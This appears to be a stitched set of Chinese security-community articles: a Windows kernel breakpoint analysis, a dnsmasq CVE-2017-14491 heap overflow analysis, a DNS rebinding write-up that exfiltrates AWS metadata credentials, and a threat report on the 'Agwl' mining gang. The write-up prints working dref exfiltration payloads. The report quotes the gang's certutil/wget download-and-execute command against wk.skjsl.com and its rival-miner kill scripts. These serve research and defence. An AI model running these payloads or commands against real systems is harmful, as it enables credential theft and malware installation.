+0x0b0 Xmm4 : _M128A
+0x0c0 Xmm5 : _M128A
+0x0d0 FaultAddress : Uint8B
+0x0d0 ContextRecord : Uint8B
+0x0d8 Dr0 : Uint8B
+0x0e0 Dr1 : Uint8B
+0x0e8 Dr2 : Uint8B
+0x0f0 Dr3 : Uint8B
+0x0f8 Dr6 : Uint8B
+0x100 Dr7 : Uint8B
+0x108 DebugControl : Uint8B
+0x110 LastBranchToRip : Uint8B
+0x118 LastBranchFromRip : Uint8B
+0x120 LastExceptionToRip : Uint8B
+0x128 LastExceptionFromRip : Uint8B
+0x130 SegDs : Uint2B
+0x132 SegEs : Uint2B
+0x134 SegFs : Uint2B
+0x136 SegGs : Uint2B
+0x138 TrapFrame : Uint8B
+0x140 Rbx : Uint8B
+0x148 Rdi : Uint8B
+0x150 Rsi : Uint8B
+0x158 Rbp : Uint8B
+0x160 ErrorCode : Uint8B
+0x160 ExceptionFrame : Uint8B
+0x168 Rip : Uint8B
+0x170 SegCs : Uint2B
+0x172 Fill0 : UChar
+0x173 Logging : UChar
+0x174 Fill1 : [2] Uint2B
+0x178 EFlags : Uint4B
+0x17c Fill2 : Uint4B
+0x180 Rsp : Uint8B
+0x188 SegSs : Uint2B
+0x18a Fill3 : Uint2B
+0x18c Fill4 : Uint4B
代码中test [rbp+0E8h+arg_0], 1用于判断先前模式是否为Ring3.是的话则接着跑到KiKvaShadow处，判断该值，如下：
1: kd> dd KiKvaShadow
fffff802`308a1840 00000001 00000000 302cf000 fffff802
fffff802`308a1850 00000000 00000000 00000000 00000000
fffff802`308a1860 00000000 00000000 00000000 00000000
fffff802`308a1870 00000000 00000000 00000000 00000000
fffff802`308a1880 307db180 fffff802 00000000 00000000
fffff802`308a1890 000001cc 00000000 307db8b4 fffff802
fffff802`308a18a0 00000000 00000000 00000000 00000000
fffff802`308a18b0 00000000 00000000 00000000 00000000
接着执行movzx edx, word ptr gs:278h，如下：
为0，则.text:000000014018136D jz short loc_1401813C6指令跳转，执行，经跳转之后，最终执行以下代码：
.text:00000001401815A9 stmxcsr dword ptr [rbp-54h]
.text:00000001401815AD ldmxcsr dword ptr gs:180h
.text:00000001401815B6 movaps xmmword ptr [rbp-10h], xmm0
.text:00000001401815BA movaps xmmword ptr [rbp+0], xmm1
.text:00000001401815BE movaps xmmword ptr [rbp+10h], xmm2
.text:00000001401815C2 movaps xmmword ptr [rbp+20h], xmm3
.text:00000001401815C6 movaps xmmword ptr [rbp+30h], xmm4
.text:00000001401815CA movaps xmmword ptr [rbp+40h], xmm5
.text:00000001401815CE test dword ptr [rbp+0F8h], 200h;_KTRAP_FRAME.EFlags
.text:00000001401815D8 jz short loc_1401815DB
.text:00000001401815DA sti
.text:00000001401815DB
.text:00000001401815DB loc_1401815DB: ; CODE XREF: sub_140181546+92↑j
.text:00000001401815DB mov ecx, 80000003h
.text:00000001401815E0 mov edx, 1
.text:00000001401815E5 mov r8, [rbp+0E8h]
.text:00000001401815EC dec r8
.text:00000001401815EF mov r9d, 0
.text:00000001401815F5 call KiExceptionDispatch
.text:00000001401815FA nop
.text:00000001401815FB retn
test dword ptr [rbp+0F8h], 200h这行代码在判断EFLAGS.IF标志位,即判断是否允许开中断。
经过上边这一系列的操作，终于到了下边这几个关键的代码了，如下：
.text:00000001401815DB mov ecx, 80000003h
.text:00000001401815E0 mov edx, 1
.text:00000001401815E5 mov r8, [rbp+0E8h];nt!_KTRAP_FRAME.Rip
.text:00000001401815EC dec r8;由于断点执行执行的时候,Rip指向了下一条指令,这边做了减一操作就是返回到触发中断的指令处
.text:00000001401815EF mov r9d, 0
.text:00000001401815F5 call KiExceptionDispatch
.text:00000001401815FA nop
.text:00000001401815FB retn
KiExceptionDispatch的具体分析，见后续文章。精彩将会继续。 | 社区文章 |
# 【漏洞分析】CVE-2017-14491 dnsmasq 堆溢出分析
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**Larryxi@360GearTeam**
**0x00 问题背景**
谷歌安全团队对dnsmasq进行了测试并发现了多个漏洞，其中的CVE-2017-14491是一个堆溢出漏洞，存在RCE的风险。不过其在[相关博客](https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html)中只给出了[PoC脚本](https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/CVE-2017-14491.py)，[测试步骤](https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/CVE-2017-14491-instructions.txt)和相关的报错[asan](https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/CVE-2017-14491-asan.txt)，需要我们自己分析过程中的调用流程，进一步有可能开发出RCE的exp脚本。
攻击流程可分为三步：
1.攻击者伪造成为dnsmasq的上游DNS服务器，即运行PoC脚本。
2.攻击者在客户端向dnsmasq发送PTR请求，dnsmasq不存在相应PTR记录便向上游DNS查询，然后获得PTR的查询结果缓存并应答客户端。
3.攻击者再次在客户端向dnsmasq发送PTR请求，dnsmasq便解析展开之前的PTR记录，由于数据包的构建都在堆上，而且上游的恶意的PTR相应记录的大小超过了堆上分配的内存空间，最后造成了堆溢出。
攻击面初步猜想就是攻击者当控制上游DNS服务器后，通过配置特定的PTR响应和客户端的反向查询，即可实现对dnsmasq主机的远程代码执行。
**0x01 调试环境**
****
操作系统：Ubuntu 14.04 x86_64
软件版本：dnsmasq v2.75
PoC脚本：<https://github.com/google/security-research-pocs>
Debugger：peda-gdb
另外需要说明的是：
1.关于存在漏洞的软件版本，根据谷歌的博客公告，dnsmaqs全部版本都存在此CVE堆溢出漏洞，并且早于2.76和用于此[commit](http://thekelleys.org.uk/gitweb/?p=dnsmasq.git;a=blobdiff;f=src/dnsmasq.c;h=45761ccd89bec1bf5039b337219ff4f2e9001822;hp=81254f67f4d0e79b2ce4427ffe94064867655fbf;hb=d3a8b39c7df2f0debf3b5f274a1c37a9e261f94e;hpb=15379ea1f252d1f53c5d93ae970b22dedb233642)的版本堆溢出都没有限制，否则只能溢出两个字节。
2.软件可直接下载[tar压缩包](http://www.thekelleys.org.uk/dnsmasq/)或[clone](http://git://thekelleys.org.uk/dnsmasq.git)下来checkout相应版本，并在Makefile中加入-g选项编译安装，方便后续调试。
3.
sudo gdb dnsmasq
启动dnsmasq后使用
set args -p 53535 --no-daemon --log-queries -S 127.0.0.2 --no-hosts --no-resolv
设置启动参数进行调试。
4.dns请求默认是有重传机制，而且在调试过程中会中断程序，重传会导致程序重复执行某些代码影响调试，所以在dig时可指定不进行重传：
**0x02 流程追踪**
****
数据包的堆分配
谷歌给出的asan是基于2.78test2版本的dnsmasq，其中堆的分配是在dnsmasq.c中的safe_malloc函数：
调试的2.75版本也同样存在safe_malloc，只不过其内部使用的是malloc分配堆：
其中的daemon是全局可以访问的结构体，而daemon->packet主要是用于存储数据包内容的内存空间，通过safe_malloc会为其在堆上分配空间，为后续的数据包构建做准备。在dnsmasq.c:96处下断点，可以看到daemon->packet_buff_sz为0x1000大小：
malloc之后分配的堆空间起始地址为0x648f00：
接下来运行PoC看看程序崩溃时的环境：
其中有以下三点要注意：
1.PoC在执行第一次PTR查询时，程序没有产生崩溃，而是在在第二次崩溃。
2.在bt的输出中，#1的answer_request函数的参数中header为0x648f00是最开始为数据包分配的堆地址，同时limit为0x64900，两者相差正好0x1000，可能是限制堆溢出的操作。
3.那么问题来了：a.为什么第一次不会崩溃；b.为什么看似有限制但还是堆溢出了。
**第一次查询**
通过下断点得知第一次PTR反向查询过程中，首先也会调用dnsmasq.c:1004处的check_dns_listeners函数，然后将listener传入dnsmasq.c:1515处的reccive_query函数，在其定义处，可以看到局部变量header指针指向的就是构建数据包的那块堆的起始地址：
在后续的操作中，首先会在forward.c:1178处会接收udp请求，将请求数据包的内容存储在堆中：
继续跟进在forward.c:1398~1415行中是先本地查询，如果没有结果向上游DNS服务器查询：
所以在第一次查询中会进入dnamasq.c:1409的forward_query函数，在其内部对sendto函数或发送完数据包的522行处下断点，即可看到其在堆上构建的向上游服务器查询的数据包：
同样的思路，在dnsmasq发送完向上游DNS的PTR请求后，肯定要接收响应数据，所以对recvfrom函数下断点，即可知道其在dnsmasq.c:1510中会调用reply_query函数，在其内部首先会接收上游服务器的响应，数据包的存储也还是用的daemon->packet，但是在这里也使用recvfrom函数的参数来确定了接收数据包的长度和堆分配的长度一致，所以在存储时没有产生溢出：
紧接着reply_query函数会对数据包头部进行整理，然后把得到的响应数据包通过send_from函数传给客户端，而且值得注意的是原始PoC中构造的DNS响应数据包的大小本身也是没有超过daemon->packet_buff_sz，即分配的堆空间大小：
**第二次查询**
第二次查询的前半部分和第一次查询类似，也是由check_dns_listeners进入receive_query函数，在dnsmasq接到客户端的第二次PTR请求后，还是会进过先调用answer_request函数然后经过forward_query函数对客户端响应。实际上和开头提到的一样，查询在进入answer_request函数就崩溃了，崩溃附近的源代码如下：
当产生崩溃时，查看bt
full得知anscount的值为0x51，即循环了81次后，再次调用cache_find_by_addr造成非法的内存引用产生崩溃。这里的源代码逻辑就是通过循环，调用cache_find_by_addr将cache保存至crecp指针中，并通过cache_get_name获取ptr记录的name，再调用add_resource_record添加记录，经过81此后在add_resource_record中产生堆溢出。
记录里的record
cache应该是通过第一次查询的结果向内存中保存了相关的数据结构，观察cache.c文件后对cache_insert函数下断点，可得知第一次查询后的函数堆栈：
对应的源代码则是在第一次查询中，在把响应发送给客户端之前，调用process_reply函数，再其内部调用extract_addresses函数，通过遍历循环响应中的ancount，把记录中的name等信息cache_insert至crec结构体构成的双向链表中：
第一个cache_insert函数执行后，可知其crec地址为0x64a2d0，并且后续的crec结构体中都把PoC中向前引用的name给完全解析扩展开，这样就一下增大了响应数据包的大小，造成后续的堆溢出：
**溢出原因**
****
具体跟进add_resource_record函数，可以定位到rfc1035.c:1440行的do_rfc1035_name函数，该函数类似于一个copy操作，就是把解析的域名放入响应数据包的RDATA字段，由于解析域名后的数据包就扩展的很大，超出了分配的堆空间，所以造成了溢出：
再次下断点b rfc1035.c:1855 if anscount == 0x51
，查看在即将产生崩溃时的上下文环境。由于PoC的数据包在扩展解析后直接溢出到了接近0x64a300的位置，而在cache_find_by_addr函数的内部会访问到第一个crec结构体的地址0x64a2d0，由于该地址被Z字符溢出，所以最终造成了非法地址的引用：
但有趣的是，在add_resource_record函数的末尾是有对溢出的检查：
不过溢出的与否只是影响了返回值，而且在返回后影响的只是anscount变量是否加1，并未其他的安全处理，所以这里的安全检查就形同虚设了。
**分析补充**
经过胡牛的提示，其实上图中对于溢出的检测也是有点作用的，关键点是1476行的*pp = p
会把写入数据包的指针向后移动，以便后续的answer在数据包的写入，但是一旦发生溢出这个指针就不会移动，我们就只能从同一个位置开始反复地进行越界写，所以越界写的机会只有一次。
在2.76版本中，daemon->packet_buff_sz为5131字节，limit最大为4096字节，当我们溢出后继续写入一个answer，4096+12（answer头部大小）+1024（最大域名长度）-5131+1（最后的补0字节）=2，所以谷歌官方所说的越界2个字节是这么来的。
**0x03 补丁分析**
****
为了省事，这里就以最新版本的dnsmasq[补丁](http://thekelleys.org.uk/gitweb/?p=dnsmasq.git;a=blobdiff;f=src/rfc1035.c;h=826f8a4fd95e0e30afe6776406d6890ffc36bb7c;hp=af2fe46063a55d664345f09630e41a3a74467155;hb=0549c73b7ea6b22a3c49beb4d432f185a81efcbc;hpb=b697fbb7f17ee80ce579361920cb6a879fb868e8)看一下修复的原理，首先是定义了CHECK_LIMIT函数，如果指针和要写入的size超过了限制就直接跳转：
跳转之后直接返回，也就不能执行写入操作了：
**0x04 总结**
****
1.开始时使用PoC测试2.78test2版本没有产生崩溃，相关原因还有待测试探究。
2.调试的过程主要是关注函数的调用栈，在程序中下好断点，同时结合源码分析程序代码的逻辑，积极思考探讨找到问题所在。
3.该漏洞还需要根据堆溢出的环境来构建RCE的exp，但堆上临近的区域都是大型的结构体无法找相关函数指针覆盖，可能的思路是如果再次反向查询一个ptr，使服务器再次记录就有可能引起cache_unlink操作，感兴趣的同学可以探究一下。
4.关于此漏洞的防御，可以直接使用yum或者apt-get进行安全更新，也可以去官网下载最新版本的dnsmasq构建安装。
**0x05 相关参考**
****
<https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html>
<http://thekelleys.org.uk/gitweb/?p=dnsmasq.git;a=summary>
<https://yi-love.github.io/blog/node.js/javascript/dns/2016/11/11/dns-request.html>
<https://tools.ietf.org/html/rfc1035>
<http://bobao.360.cn/learning/detail/4515.html> | 社区文章 |
原文：<https://labs.mwrinfosecurity.com/blog/from-http-referer-to-aws-security-credentials/>
在本文中，我们将为读者详细介绍攻击者是如何使用HTTP的Referer头部针对托管在AWS上的请求分析系统发动DNS重绑定攻击，从而破坏云环境的安全性的。
**简介**
* * *
虽然DNS重绑定攻击早在二十年前就已经面世，但最近一段时间以来，随着漏洞百出的物联网设备数量的激增，以及各种相关高危漏洞的连续曝光，这种“老迈”的技术竟然又焕发了第二春。与此同时，虽然DNS重绑定攻击的实施有些复杂，但是，随着相关利用框架的发布，例如MWR的[dref](https://github.com/mwrlabs/dref
"dref")框架以及Brannon Dorsey的[DNS Rebind
Toolkit](https://github.com/brannondorsey/dns-rebind-toolkit "DNS Rebind
Toolkit")，从而进一步降低了发动这种攻击的门槛。
尽管如此，人们对DNS重绑定攻击的讨论，还主要停留在理论层面。实际上，攻击者必须迫使受害者浏览自己控制下的网站并在那里停留一段时间，这种攻击才能奏效。当然，这些条件也是可以满足的，例如通过网络钓鱼或水坑攻击就能达到上述目的，之后，该攻击则需要借助于某些经过实战检验的有效载荷了。
随着dref的发布，攻击者开始寻找更加实用的攻击向量：可以提供直接利用途径，能限制或绕过人类交互的要求，并将DNS重绑定合法化。
当然，本文中介绍的这种攻击方法，只是我们在漏洞赏金计划中遇到的几个案例的概括和提炼。
**出发**
* * *
对于这种[HTTP的](https://portswigger.net/blog/cracking-the-lens-targeting-https-hidden-attack-surface "HTTP的")，PortSwigger的James
Kettle曾经发表过一篇出色的研究报告，并强调说，一些网站会“回过头来”向记录在入局流量中的引用网址发送HTTP请求。这样做的原因可能是用于市场营销，或者是为了进行威胁分析，等等。
下图演示了请求分析服务是如何面对攻击者提交的欺骗性URL的：
为了便于大规模发现具有这种行为的网站，MWR创建了reson8软件。该工具能够获取URL列表，并向每个URL发送带有伪造的HTTP头部的GET请求。对于给予响应的网站，该工具会详细记录与本研究有关的信息，例如往返时间、用户代理，以及是否执行了JavaScript代码。
我们发现，一些网站能够成功访问伪造的引用网址，并且，相应的往返时间从几分钟到几天不等。通过观察这些日志，我们发现其中的一部分是通过AWS的IP地址进行访问的，并且使用的是headless模式下的Chrome浏览器。
Headless
Chrome浏览器的应用，可能是基于JavaScript的Web框架的普及所致；实际上，我们的确发现浏览器启用了JavaScript执行功能。并且，这些浏览器通常还会启用240秒的默认页面加载超时设置。因此，这些服务已经满足了成功实施DNS重绑定攻击所需的初步条件。
通过设置dref服务器，并发送带有指向它的Referer
URL的请求，攻击者就可以在浏览器的内部网络的上下文中执行有效载荷。这样的话，攻击者就能够浏览网络，并从遇到的HTTP服务中提取信息。
**继续前进**
* * *
常见且稳定的DNS重绑定攻击要求受害者浏览器在有效荷载网站上至少逗留60秒。当然，这是为了满足浏览器内置的DNS缓存的要求。此外，基于浏览器的TCP端口扫描技术，在扫描C类子网的端口的时候，也需要花费差不多的时间。
由于Headless Chrome进程通常会在加载DOM时退出，因此，必须使浏览器“挂起”足够长的时间，才能完成上述过程。
为了达到这个目的，可以嵌入一个“”标签，该标签会尝试获取一幅声明的Content-Length大于实际长度的图像。这样的话，就有效地防止了加载DOM事件的触发，导致Chrome认为页面尚未完全加载。
我们可以通过[为dref添加相应的配置键](https://github.com/mwrlabs/dref/wiki/using-payloads#payload-configuration-keys
"为dref添加相应的配置键")，来让它使浏览器挂起。其实，/hang.png端点本身的Express.js实现是非常简单的，具体如下所示：
// fetch an image that will never fully load
router.get('/hang.png', function (req, res, next) {
res.status(200).set({
'Content-Length': '1'
}).send()
})
有了这些措施，攻击者就可以在浏览器中“长时间”执行JavaScript代码了，时间最多为4分钟。
**环境感知**
* * *
实际上，dref工具提供了一个基于浏览器的TCP端口扫描模块，即[netmap.js](https://github.com/serain/netmap.js
"netmap.js")。该模块可用于确定浏览器的本地IP地址，推断子网，继而扫描网络以获取TCP服务。这可能是一条行之有效的横向渗透路径。
但是，由于我们发现连接到攻击者控制的站点的Headless模式浏览器运行于AWS上的某个位置，所以更直接的方法是，与运行Headless模式浏览器的AWS实例可访问的AWS[元数据端点](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint.html
"元数据端点")进行交互（它始终位于169.254.169.254的80端口）。这个端点提供了该实例的大量信息，并且如果与SSRF漏洞结合使用的话，通常会更加得心应手。
下面给出的dref有效载荷可以用来验证能否从浏览器访问该服务：
import NetMap from 'netmap.js'
import Session from '../libs/session'
const session = new Session()
const netmap = new NetMap()
function main () {
netmap.tcpScan(['169.254.169.254'], [80, 1234, 4444]).then(results => {
session.log(results)
})
}
main()
如果这个有效载荷的返回结果显示80端口处于打开状态，那么可以推断出，该浏览器可以访问这个AWS元数据端点。此外，还需要扫描端口1234和4444以提供参考点来消除误报，因为正常情况下这两个端口应该处于关闭状态。
结果清楚地表明，端口80是开放的，并且是可达的：
"hosts": [
{
"host": "169.254.169.254",
"ports": [
{"port": 80, "delta": 11, "open": true},
{"port": 1234, "delta": 1000, "open": false},
{"port": 4444, "delta": 1001, "open": false}
],
"control": 1001
}
]
**跨源提取数据**
* * *
AWS元数据端点是一项只读服务，因此，在CSRF或盲SSRF攻击中没有任何价值。为了证明该漏洞的安全影响，必须从该服务中获取响应。
由于浏览器的同源策略的缘故，所以，我们无法直接从“hooked”的浏览器向AWS元数据端点发送请求，并跨源发送响应。
不过，利用DNS重绑定技术，攻击者可以通过动态修改自己域名的IP地址使其指向所需目标，从而绕过这个安全策略。但是，目标端点必须满足这两个要求：目标服务接受任何Host头部，并且不使用SSL/TLS中进行封装。
大多数DNS重绑定框架都会利用iFrame加载重绑定攻击载荷，这也是dref的默认行为。就本例来说，目标浏览器似乎没有加载来自iFrames的内容（这看起来是基于粗略搜索的Headless
Chrome的行为）。
dref的灵活性在于，允许编写相关的有效载荷，以便在同一frame中完成整个攻击。下面的有效载荷可以接收单个HTTP
Path参数，并将来自端点的响应泄露给攻击者：
import * as network from '../libs/network'
import Session from '../libs/session'
const session = new Session()
async function main () {
// configure the A record to point to the AWS metadata endpoint when triggered
network.postJSON(session.baseURL + '/arecords', {
domain: window.env.target + '.' + window.env.domain,
address: '169.254.169.254'
})
session.triggerRebind().then(() => {
// exfiltrate the response from the provided args.path argument
network.get(session.baseURL + window.args.path, (code, headers, body) => {
session.log({code: code, headers: headers, body: body})
})
})
}
main()
**攻击AWS**
* * *
关于能够从AWS元数据端点读取数据的安全漏洞，已经有许多[文献](https://www.google.com/search?q=aws+ssrf
"文献")进行了详细的介绍，所以，本文不会对其进行深入讨论。
请求/latest/user-data/path时，会返回开发人员希望对各个实例开放的信息。这通常是一个bash脚本，其中包含S3存储桶的凭证或路径，例如：
"data": {
"code": 200,
"body": "
#!/bin/bash -xe
echo 'KUBE_AWS_STACK_NAME=acme-prod-Nodeasgspotpool2-AAAAAAAAAAAA' >> /etc/environment
[...]
run bash -c \"aws s3 --region $REGION cp s3://acme-kube-prod-978bf8d902cab3b72271abf554bb539c/kube-aws/clusters/acme-prod/exported/stacks/node-asg-spotpool2/userdata-worker-4d3482495353ecdc0b088d42510267be8160c26bff0577915f5aa2a435077e5a /var/run/coreos/$USERDATA_FILE\"
[...]
exec /usr/bin/coreos-cloudinit --from-file /var/run/coreos/$USERDATA_FILE
"
}
除了显示了一个S3存储桶之外，输出内容还表明，该服务正在Kubernetes上运行，并使用了亚马逊的Auto-Scaling
Group（ASG）和Spot实例。由于这里使用了Kubernetes，由此我们可以推断，除了本文介绍的利用方法之外，可能还存在其他的利用途径。
与端点交互的主要战利品是临时安全凭证。我们可以从/latest/meta-data/iam/security-credentials/path中获取可用的安全凭证列表：
"data": {
"code": 200,
"body": "eu-north-1-role.kube.nodes.asgspot2"
}
我们可以通过请求/latest/meta-data/iam/security-credentials/eu-north-1-role.kube.nodes.asgspot2来获取这些凭证：
"data": {
"code": 200,
"body": "
\"Code\" : \"Success\",
\"LastUpdated\" : \"2018-08-05T15:33:26Z\",
\"Type\" : \"AWS-HMAC\",
\"AccessKeyId\" : \"AKIAI44QH8DHBEXAMPLE\",
\"SecretAccessKey\" : \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",
\"Token\" : \"AQoDYXdzEJr[....]\",
\"Expiration\" : \"2018-08-05T22:00:54Z\"
"
}"
然后，可以使用这些凭证来完成AWS API的身份验证：
$ export AWS_ACCESS_KEY_ID=AKIAI44QH8DHBEXAMPLE
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ export AWS_SESSION_TOKEN=AQoDYXdzEJr[...]
$ aws ec2 describe-instances
[...]
当然，该漏洞的影响程度取决于凭证被授予的权限，从完全接管到信息泄露皆有可能。即使权限较低，攻击者也可以利用这类访问权限来发现其他攻击路径或提权。
**补救措施**
* * *
**AWS**
在AWS环境中，应始终采取相应的安全措施来防止出现与AWS元数据端点的非预期交互。由于服务可能需要访问端点，因此，可以在实例上实施iptables规则以限制向具有root权限的进程发送流量，同时确保与用户输入交互的进程不以root身份运行。
当然，这种手法不仅可以攻击AWS元数据端点，因为其他网络服务可能也含有漏洞。所以，也需要为其实施相应的防火墙规则。
与往常一样，最小特权原则在这里也适用：不要给安全凭证赋予过多的权限，给予的权限，够用即可。
**DNS重绑定**
通常情况下，外部DNS应答是不必提供内部IP地址的。所以，如果可能的话，应删除这类DNS应答。
此外，使用SSL/TLS进行封装的服务和验证Host头部的服务不会受到DNS重绑定的影响。
**结束语**
* * *
虽然DNS重绑定一直认为存在理论风险，但历史上该漏洞从未被认真对待过。并且，该攻击的传统手法通常允许通过更直接的方式来利用受害者。
然而，这项研究表明，相关的手法并不仅限于网络钓鱼和水坑攻击。任何直接或间接处理用户提供的URL的服务都可能存在安全风险。
所以，对于实现这类服务的工程师来说，应认真考虑是否授予不可信脚本访问权限，并据此做出相应的设计调整。
**工具**
* * *
至于MWR的DNS重绑定框架，即dref，读者可以从[GitHub](https://github.com/mwrlabs/dref
"GitHub")下载。
此外，reson8工具也将很快公之于众。届时，安全专业人员可以使用该工具来检测将向利用HTTP头部提交的URL发送请求的Web应用程序。此外，reson8还可以用于测试海量的URL。对于单个测试用例，作者推荐PortSwigger提供的工具collaborator-everywhere。
**致谢**
* * *
感谢MWR的Markus Blechinger和Adam Williams在本研究过程中为我们提供了宝贵见解和提示。 | 社区文章 |
**作者：腾讯安全御见威胁情报中心**
**来源：<https://mp.weixin.qq.com/s/wCjKwENZajw1vA9dmdgftQ>**
腾讯安全御见威胁情报中心监测到“Agwl”团伙在近期的入侵行动将Linux系统纳入攻击范围。
## 一、背景
腾讯安全御见威胁情报中心监测到“Agwl”团伙在近期的入侵行动将Linux系统纳入攻击范围。“Agwl”团伙于2018年7月被御见威胁情报中心发现，其攻击特点为探测phpStudy搭建的网站，并针对其网站搭建时使用的默认的MySQL弱口令进行爆破登录，从而植入挖矿以及远控木马。
该团伙早期入侵后植入的都是基于Windows平台的木马，其挖矿木马部分会首选清除其他挖矿程序、阻止其他挖矿木马访问矿池、独享系统资源。而最近的更新中，我们监测发现，“Agwl”团伙增加了对Linux系统的攻击，入侵成功后加入基于Linux系统执行的bash脚本代码s667。该脚本运行后会添加自身到定时任务，并进一步下载Linux平台下的CPU挖矿木马bashf和GPU挖矿木马bashg。
然而此时攻击并没有结束，“Agwl”团伙会继续植入Linux平台的DDoS病毒lst（有国外研究者命名为“Mayday”）以及勒索蠕虫病毒Xbash。Xbash勒索病毒会从C2服务器读取攻击IP地址段，扫描这些网络中的VNC、Rsync、MySQL、MariaDB、Memcached、PostgreSQL、MongoDB和phpMyAdmin服务器进行爆破攻击，爆破登录成功后不像其他勒索病毒那样去加密数据再勒索酬金，而是直接将数据库文件删除后骗取酬金，企业一旦中招将会遭受严重损失。
“Agwl”团伙攻击流程
## 二、详细分析
中招主机通过phpStudy一键部署PHP环境，默认情况下包含phpinfo及phpMyAdmin并且任何人都可以访问，同时安装的MySQL默认口令为弱口令密码并且开启在外网3306端口。在未设置安全组或者安全组为放通全端口的情况下，受到攻击者对于phpStudy的针对性探测，并且暴露了其MySQL弱口令。攻击者使用MySQL弱口令登录后,在web目录下执行Shell，并在其中添加植入挖矿木马的恶意代码。
入侵后执行shell命令为：
cmd.exe /c "certutil.exe -urlcache -split -f http://wk.skjsl.com:93/Down.exe
&Down.exe &del Down.exe&cd /tmp &&wget http://wk.skjsl.com:93/s667 &chmod 777
s667&./s667
“Agwl”团伙对Windows平台植入的木马为Down.exe，针对Linux平台植入的是s667。
## Down.exe
Down.exe为自解压程序，解压后释放一个hosts文件和7个BAT文件。根据解压命令，文件被释放到C:\Windows\debug\SYSTEM
目录下，首先被执行的是start.bat
Start.bat主要功能为：
创建目录C:\ProgramData\Microsoft\test并设置为隐藏，将down.bat、open.bat、skycmd.bat拷贝到该目录中并安装为计划任务反复执行，对应的计划任务名分别为“SYSTEM”、“DNS”、“skycmd”；然后从www[.]kuaishounew.com下载wget.exe作为后续下载工具；最后启动start2.bat。
Start2.bat的功能为：
利用start.bat中下载的wget.exe从微软官方下载vc_redist.x64.exe，从www[.]kuaishounew.com下载unzip.exe(后续用到的解压工具)和hook.exe，然后执行install3.bat。
（vcredist_x64.exe是微软的Visual C运行时库,安装后能够在未安装VC的电脑上运行由 Visual
C++开发的64位应用，该模块被下载以保证64位木马正常运行。）
Install3.bat主要用于木马的三个服务“SYSTEM”、“DNS”、“skycmd”的安装和保持。
1、服务“SYSTEM”
执行的脚本为down.bat，主要功能为下载矿机程序wrsngm.zip进行挖矿，该矿机程序为开源挖矿程序xmr-stak修改而成，github地址https[:]//github.com/fireice-uk/xmr-stak。
使用矿池：wk.skjsl.com:3333
钱包：4AggMSAnFrQbp2c6gb98BZDBydgmjNhhxdN4qBSjwc3BDNQZwg5hRqoNczXMr7Fz6ufbwVaJL8sJmTdrp2dbKYcFRY2pe33
该钱包上线时间不长，查询收益目前仅获得0.7个XMR
2、服务“DNS”
对应执行的脚本为open.bat。功能为替换本地域名解析文件hosts，然后启动挖矿程序。
替换后的hosts文件将其他的矿池域名解析指向127.0.0.1，阻止其正常访问从而独占挖矿所需的计算资源。从该文件中还会将木马原来的C2地址从111.230.195.174迁移至116.206.177.144。
open.bat还会启动qc.bat来清除入侵过程中在xampp、www、phpstudy目录下载残留的EXE木马，以及badboy.php、test00.php木马。
3、服务“skycmd”
执行脚本skycmd.bat。功能为下载skycmdst.txt，重命名为skycmdst.bat并执行，目前下载该文件为网页文件，但黑客可通过后台配置动态更改下载的恶意代码。
## s667
s667为入侵Linux系统后首先执行的脚本。脚本判断当前是否是root权限，如果不是则下载lower23.sh到/tmp/目录并通过nohup
bash命令执行；如果是root权限则添加下载执行s667的定时任务，每5分钟执行一次，然后下载rootv23.sh到/tmp/目录并通过nohup
bash命令执行。
最终下载执行的bash脚本lower23.sh或root23.sh负责植入Linux版本挖矿木马、清理竞品挖矿木马以及植入其他病毒等功能。
在function kills()中对竞品挖矿木马进行清除：
1、按照进程名匹配（包括被安全厂商多次披露的利用redis入侵挖矿的木马“ddg*”、“sourplum”、”wnTKYg”）。
pkill -f sourplum
pkill wnTKYg && pkill ddg _ && rm -rf /tmp/ddg_ && rm -rf /tmp/wnTKYg
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
2、按照矿池匹配，杀死连接指定矿池的进程
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs
kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs
kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs
kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs
kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill
-9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs
kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
3、按照端口匹配，杀死使用端口9999/5555/7777/14444进行tcp通信的进程
PORT_NUMBER=9999
lsof -i tcp:2}' | xargs kill -9
PORT_NUMBER=5555
lsof -i tcp:2}' | xargs kill -9
PORT_NUMBER=7777
lsof -i tcp:2}' | xargs kill -9
PORT_NUMBER=14444
lsof -i tcp:2}' | xargs kill -9
4、删除指定目录文件
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/ _index_bak_
rm -rf /tmp/ _httpd.conf_
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/irq.sh
